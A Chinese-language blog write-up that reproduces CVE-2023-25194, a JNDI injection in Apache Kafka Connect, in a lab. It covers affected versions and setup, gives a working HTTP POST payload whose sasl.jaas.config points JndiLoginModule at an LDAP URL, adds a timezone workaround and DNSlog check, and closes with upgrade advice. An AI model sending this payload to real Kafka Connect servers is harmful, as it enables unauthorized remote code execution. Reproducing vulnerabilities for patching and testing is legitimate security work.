Apache Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)

Posted OidBoy_G

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Apache Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)相关的知识,希望对你有一定的参考价值。

1、产品简介

     Kafka Connect是一种用于在Apache Kafka和其他系统之间可扩展且可靠地流式传输数据的工具。它使快速定义将大量数据移入和移出Kafka的连接器变得简单。Kafka Connect可以摄取整个数据库或从所有应用程序服务器收集指标到Kafka主题中,使数据可用于低延迟的流处理。

2、漏洞概述

     在Apache Kafka Connect中存在JNDI注入漏洞,当攻击者可访问Kafka Connect Worker,且可以创建或修改连接器时,通过设置sasl.jaas.config属性为com.sun.security.auth.module.JndiLoginModule,进而可导致JNDI注入,造成RCE需低版本JDK或目标Kafka Connect系统中存在利用链。

3、影响范围

    影响版本 

   2.3.0 <= Apache Kafka <= 3.3.2

   不受影响版本

   Apache Kafka >= 3.4.0

4、复现环境

  Windows10搭建Kafka2.4.0集成环境(自行搭建jdk和mysql环境)

我这边使用的是jdk-11.0.18_windows-x64_bin.exe(JDK8也可以,建议使用JDK11)

  mysql 5.7.27

Kafka2.4.0集成环境下载地址:https://download.csdn.net/download/qq_41904294/87588240

5、漏洞复现

启动环境

bin\\windows\\zookeeper-server-start.bat config\\zookeeper.properties

bin\\windows\\kafka-server-start.bat config\\server.properties

bin\\windows\\connect-standalone.bat config/connect-standalone.properties config/connect-file-source.properties config/connect-file-sink.properties

如果报错:“输入行太长。命令语法不正确”。出现这个问题的原因是 Windows 命令长度最长支持 8192 个字符,Kafka 的启动脚本中有命令拼接 classpath 变量,classpath 的内容是每个 jar 包的绝对路径拼接的字符串。当 Kafka 的位置比较深,也就是目录比较长的时候,classpath 的长度就会超长。
解决方法:缩短目录树结构,把Kafka安装目录直接放到根目录下即可。

 访问漏洞环境查看是否启动

 burp抓包查看是否存在相关依赖

http://x.x.x.x:8083/connector-plugins

 当前网上流传的POC

POST /connectors HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Content-Length: 821


	"name": "xxx",
	"config": 
		"connector.class": "io.debezium.connector.mysql.MySqlConnector",
		"database.hostname": "127.0.0.1",
		"database.port": "3306",
		"database.user": "root",
		"database.password": "xxxx",
		"database.server.id": "xxxx",
		"database.server.name": "xxxx",
		"database.history.kafka.bootstrap.servers": "127.0.0.1:9092",
		"database.history.kafka.topic": "xxxx",   	"database.history.producer.security.protocol": "SASL_SSL",
    	"database.history.producer.sasl.mechanism": "PLAIN",
    	"database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\\"ldap://xxxx\\" useFirstPass=\\"true\\" serviceName=\\"x\\" debug=\\"true\\" group.provider.url=\\"xxx\\";"
	

POC原理 :通过创建mysql连接器时,设置sasl.jaas.config属性为com.sun.security.auth.module.JndiLoginModule,进而可导致JNDI注入

 

利用Dnslog回显验证漏洞是否存在

 

 报错了,查看漏洞环境报错信息,提示服务器时区错误无法识别 ,在网上找了找方法,找到一些设置修改数据库时区,set time_zone='+8:00'; 这种方法,但是尝试后并无果,后来看了一遍文章,在创建连接器时指定数据库时区的方式

添加配置"database.serverTimezone“解决(不明白这里为什么要指定美国时区,知道的大哥指点一下)

"config": 
    ...
    "database.serverTimezone": "America/Los_Angeles",
    ...

 重新验证

 回显成功,漏洞存在

 

6、修复建议

目前官方已有可更新版本,建议受影响用户升级至:Apache Kafka 3.4.0及以上版本。

暂时无法升级的用户可通过验证Kafka Connect连接器配置,仅允许受信任的JNDI配置来缓解此漏洞。

 

 

 

以上是关于Apache Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)的主要内容,如果未能解决你的问题,请参考以下文章

Apache Kafka Connect JNDI注入漏洞 (CVE-2023-25194) 安全风险通告

Kafka日志报错:[error] k.m.j.KafkaJMX$ - Failed to connect to service:jmx:rmi:///jndi/rmi://10.1.3.116:-1

Apache Kafka JNDI注入(CVE-2023-25194)漏洞复现浅析

Apache Kafka JNDI注入(CVE-2023-25194)漏洞复现浅析

如何从 Kafka JSON 消息中获取 org.apache.kafka.connect.data.Decimal 值 [重复]

Apache Kafka系列 Kafka Connect及FileConnector示例